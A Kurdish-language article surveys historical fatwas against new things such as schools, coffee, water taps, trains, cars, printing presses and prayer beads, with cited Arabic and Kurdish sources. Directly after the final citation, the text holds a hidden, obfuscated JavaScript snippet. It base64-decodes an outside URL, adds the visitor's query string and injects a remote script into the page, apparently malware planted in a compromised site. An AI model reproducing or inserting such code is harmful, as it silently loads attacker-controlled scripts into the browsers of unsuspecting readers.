ده‌مێ حوكمه‌تا ئیراقێ ده‌ست ب ڤه‌كرنا خواندنگه‌هان كری، هنده‌ك مه‌لا چوونا وان خواندنگه‌هان حه‌رامكر، ئه‌ڤ حه‌رامكرنێ دگه‌ل حه‌زكرنا ته‌بایا خه‌لكی گۆنجا، ئه‌نجام ژی كێمییا چوونا خه‌لكی بوو، لێ دگه‌ل زێده‌بوونا حه‌زكرنا خه‌لكی بۆ كارێ میری هه‌لوه‌ستێ مللی ب دروستی به‌روڤاژی بوو، چنكو ژبلی خوانده‌ڤانان كه‌س لێ نه‌دهاته‌ وه‌رگرتن، د هه‌مان ده‌م دا هه‌لوه‌ست ژ خواندنگه‌هێن كچان دژوارتربوو، چنكو خه‌لكی هزردكر فێربوونا ژنێ بۆ خواندن و نڤێسینێ دێ بیته‌ ئه‌گه‌رێ سه‌ردابرنا وێ و دێ شه‌رمزاریێ بۆ وان ئینیت، د ڤی چارچووڤه‌ی دا فیقهه‌زانی ئیراقی نوعمانێ ئالۆسی ل داویا چه‌رخێ نزدێ په‌رتووكه‌ك ب ناڤێ (الإصابه‌ فی منع النسا‌و من الكتابه‌) دانا.
• هه‌ر ژ دیاربوونا قه‌هوه‌یێ ل ده‌ستپێكا چه‌رخێ شازدێ و ڤه‌گوهاستنا وێ ژ وه‌لاتێ یه‌مه‌نێ بۆ مسر و حیجازێ.. شه‌ره‌كێ فقهه‌یێ گه‌رم ده‌ستپێكر، د ناڤدا رویدانین دژوار هه‌بوون، حه‌رامكرنا قه‌هوێ دو چه‌رخان ڤه‌كێشا، كو ناكۆكی ل دۆر حه‌رامكرنا وێ یا به‌رده‌وامبوو، ب به‌هانه‌یا ئه‌و ژ یا سه‌رخۆشكه‌ره‌ و بۆ مێشك و جه‌سته‌ی تێكده‌ره‌ و مه‌ترسییا وێ ژ یا مه‌ی دژوارتره‌.
(شه‌رێ قه‌هوا فقهی) بۆ قاهیره‌ و پاشی ستانبولێ هاته‌ ڤه‌گۆهاستن، ئینا فه‌توا و فرمانێن سولتانی ب حه‌رامكرنا قه‌هوێ و قه‌ده‌غه‌كرنا ڤه‌خوارنا وێ ده‌رچوون، پۆلیسان راهێلانه‌ ڤه‌خوه‌رێن وێ و كاكۆكی ئارام نه‌بوو، تاكو مفتییه‌كێ نوی ل سه‌رده‌مێ مرادێ سێیێ ئه‌وێ راگه‌هاندی، كو ڤه‌خوارنا قه‌هوێ شه‌رعه‌ن نه‌ حه‌رامه‌!.

*فه‌توا زه‌مبه‌لێ – حنفیه‌:
توماس كامبیلی ل 1880یێ سالا داهێنانا خۆ ب (Faucet – زه‌مبه‌له‌) ناڤكر، ئانكو ب ئه‌ره‌بی (‌صنبور) ڤێچا ناڤێ (حنفیه‌) ژ چ هاتییه‌؟
ل داوییا چه‌خێ نۆزدێ ب دروستی ل سالا 1848ێ، ئێكه‌م زه‌مبه‌له‌ بو مزگه‌فتا محه‌مه‌د عه‌لی ل (القلعه‌ – كه‌لا سه‌لاحه‌دینێ ئه‌یوبی) هاته‌ دانان، ل ڤێره‌ ناكوكییه‌كا به‌رفره‌هـ د رێره‌وێن (‌اروقه‌) ئه‌زهه‌رێدا ل دور دانانا بورییا و زه‌مبه‌له‌یا (حنفی) ل مزگه‌فتێ كو خه‌لكی ب گوزك و مه‌سینان ده‌ستنڤێژ دشووشتن و پاشی بۆ مالێن مسرییان ژی كێشان، كو كه‌له‌ك مسرییا ئێدی ئاڤ ژ سه‌قافا نه‌كڕی ئه‌وێن ب پاره‌ ئاڤ د گه‌هانده‌ مالان.
له‌ورا سه‌قاف به‌ر ب ئیمامێن هه‌ر چار ئۆلزایان (مه‌زهب) چوون، دا فه‌توایه‌كێ بده‌ن كو ئاڤا زه‌مبه‌لان بۆ ده‌ستنڤێژێ نابیت، ئینا ئیمامێن حه‌نبه‌لی رازیبوون و فه‌توا دان كو ئاڤا زه‌مبه‌لان بیدعه‌كا ئاشكرایه‌ و بۆ ده‌ستنڤێژ و پاككرنێ نابیت، د ده‌مه‌كی دا ئیمامێن زۆلزایا شافعیێ داكوكی كر ك بابه‌ت پێدڤی دانوستاندنه‌ك درێژه‌، د به‌رامبه‌ردا ئیمامێن حه‌نه‌فی ب ره‌واییا ئاڤا زه‌مبه‌لێ و ده‌ستنڤێژ شووشتنێ پێدا، ژ ڤێ چه‌ندێ ناڤكرنا مسرییان بۆ زه‌مبه‌لێ ب (حه‌نه‌فی) هات.
(سید الخلفاوی، الیوم السابع، الاحد28 نوفمبر2021.)
• ل سالێن شێستان فه‌توایێن حه‌رامكرنێ گه‌هشتنه‌ ته‌له‌فزیۆنێ و به‌رفره‌هبوون دا بگه‌هنه‌ ئامیره‌یێن ڤیدیۆ و كاسێت و وێنه‌یێن فوتوگرافی تا دگه‌هیته‌ سه‌ته‌لایتێ.. دا فه‌توایێن حه‌رامكرنا ئه‌نترنێتێ و مۆبایلا ب كامیره‌ ل گه‌ل ئه‌لندا هزارا سێیێ ده‌ركه‌ڤن و ل هنده‌ك ده‌وله‌تێن ئه‌ره‌بی بهێنه‌ قه‌ده‌غه‌كرن. ئه‌ڤه‌ ژبلی حه‌رامكرنا مریشكێن به‌رازیلی و گۆشتێ رۆست و… جڤاك به‌رهنگارییه‌ك دژواردكه‌ن، لێ ل داویێ پێدڤیێن پێشكه‌فتن و كه‌شه‌كرنێ خۆ دسه‌پینن.
(محه‌مه‌د داودیه‌، دستور، 19 كانوونا ئێكێ، 2018)
• ل سالا 1915ێ ئێكه‌م شه‌مه‌نده‌فر د ناڤبه‌را به‌غدا و سامرا كه‌فته‌ كاری، مه‌لا فه‌توایه‌كا دینی دژی سواربوونا (شه‌مه‌نده‌فرێ) ده‌رئێخستن و ئه‌ڤه‌ ده‌قێ فه‌توایێ یه‌:
ب ناڤێ خودایێ دلۆڤانكار م میهره‌بان
(كه‌رێن خودێ دهێلن و ل شه‌مه‌نده‌فرێ سواردبن. نه‌فره‌تا خودێ ل وان بیت. نه‌فره‌تا خودێ ل هه‌ر كه‌سێ ل (شه‌مه‌نده‌فر)ێ سواربیت و هاندانا سواربوونا وێ بكه‌ت…
•”ده‌می ئێكه‌م ترومبێل هاتییه‌ وه‌لاتێ مه‌غریب، وه‌كو هه‌رجار فقهزانا حه‌رامكر و ئه‌گه‌رێ حه‌رامكرنێ، ئه‌وه‌ ئه‌و نزانن چ وێ دلڤینیت، ده‌مێ ترومبێل ل هه‌ر جهی مشه‌بووین، فقهزان لێ سواربوون و متمانه‌ ل سه‌ر كورتییا بیردانكا خه‌لكی كرن”. (هزرمه‌ندێ ئه‌مازیغ (ئه‌حمه‌د عه‌سید).
• نموونه‌یێن گه‌مژه‌ییا ئه‌ڤرۆ ب ئاشۆپی دبینین، د لیسته‌یێن درێژدا هه‌نه‌، نێزیكه‌ هه‌می ده‌ستكه‌ڤتێن ژیانا هه‌ڤچه‌رخ و داهێنانێن وێ ڤه‌گریت، كو هنده‌ك فقهزان ل دژ راوه‌ستیان و شیرێ دوژمنی و حه‌رامكرنێ ل دژی هه‌ر تشتێ نوی هه‌لكێشا.
لێ خواستا جڤاكان بۆ ڤێراگه‌هشتنا كاروانێ شارستانی و گه‌شه‌پێدانێ، ژ وان فه‌توایێن ده‌م ب سه‌رڤه‌چووی ب هێزتربوو، ئینا ئه‌و ده‌ستكه‌فت به‌لاڤبوون، سه‌رباری فه‌توایێن حه‌رامكرنێ یێن خودانێن وان هه‌ر زوی لێڤه‌بووین.
ژ وانا به‌رهنگارییا دژوارا مه‌لایێن ده‌وله‌تا ئوسمانی بۆ داهێنانا چاپكرنێ، ئه‌وان ف‌توا ب حه‌رامكرن وێ و گاوركرنا هه‌ر كه‌سێ بكاربینیت ده‌رئێخست، ب به‌هانه‌یا شێواندنا قورئانێ و په‌رتووكێن شه‌رعی، ئینا موسلمان بو نێزیكی دو چه‌رخان ژ ڤێ داهێنانێ زڕبه‌هركرن، كو ژ گرنگترین هۆیێن پێسكه‌فتنا ئه‌ورۆپا بوو.

• تزبی:
د جڤاكێن موسلمانان دا، تزبی ب وه‌رزێن ئۆلی یێن ده‌ستنیشانكریڤه‌ هاته‌ به‌ستن، كو وه‌ك دیارییێن تایبه‌ت ل وه‌رزێ‌ حه‌ج و عومرێ‌ دهێنه‌ پێشكێشكرن، د مه‌ها ره‌مه‌زانێ دا وه‌كو هێمایه‌ك بۆ ئۆلدارییا گرێدایی ڤێ‌ هه‌یڤێ‌ ب شێوه‌یه‌كێ‌ به‌رفره‌هـ دهێنه‌ بكارئینان، سه‌رباری به‌لگه‌یێن مێژوویی، كو دبێژن تزبی پش مێژوویێ‌ هه‌بوون، لێ‌ د هزرا هنده‌كان دا تزبی تنێ‌ ب موسلمانه‌تیێ ڤه‌ گرێداینه‌. مێژوویا تزبییان د موسلمانه‌تیێ دا ل په‌ی په‌رتووكا (السبحه‌.. تاریخها وأحكامها) دیاردكه‌ت، كو ژ ده‌ستپێكا موسلمانه‌تییێ‌ و تا چه‌رخێ‌ دویێ‌ یێ‌ مشه‌ختی موسلمانان نه‌دزانی تزبییان بكاربینن، پاشی ل ناڤه‌راستا چه‌رخێ‌ دویێ‌ بكارئینانا وان به‌لاڤبوو، لێ ئه‌و د ناڤبه‌را حه‌لالكرن و حه‌رامكرنێدا بوو، تاكو‌ ل چه‌رخێ‌ پازدێ زایینی هنده‌ك ده‌نگێن مانده‌لكرنا وان بلندبوون، لێ‌ هنده‌ك زانایان ده‌ستویرییا ره‌واییا بكارئینانا وان (فه‌توا) ده‌رئیخستن، ب به‌هانه‌یا ته‌سبیحكرنێ ل شوینا تبلان ، لێ‌ هه‌ر چێكرنا تزبییان ب هه‌می ره‌نگێن وان بۆ سۆفییان دهێته‌ ڤه‌دگه‌ڕاندن.
(تزبی، محسن عه‌بدلڕه‌حمان، گۆڤارا مه‌تین، ٢٤٧، گولانا ٢٠٢٤)(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();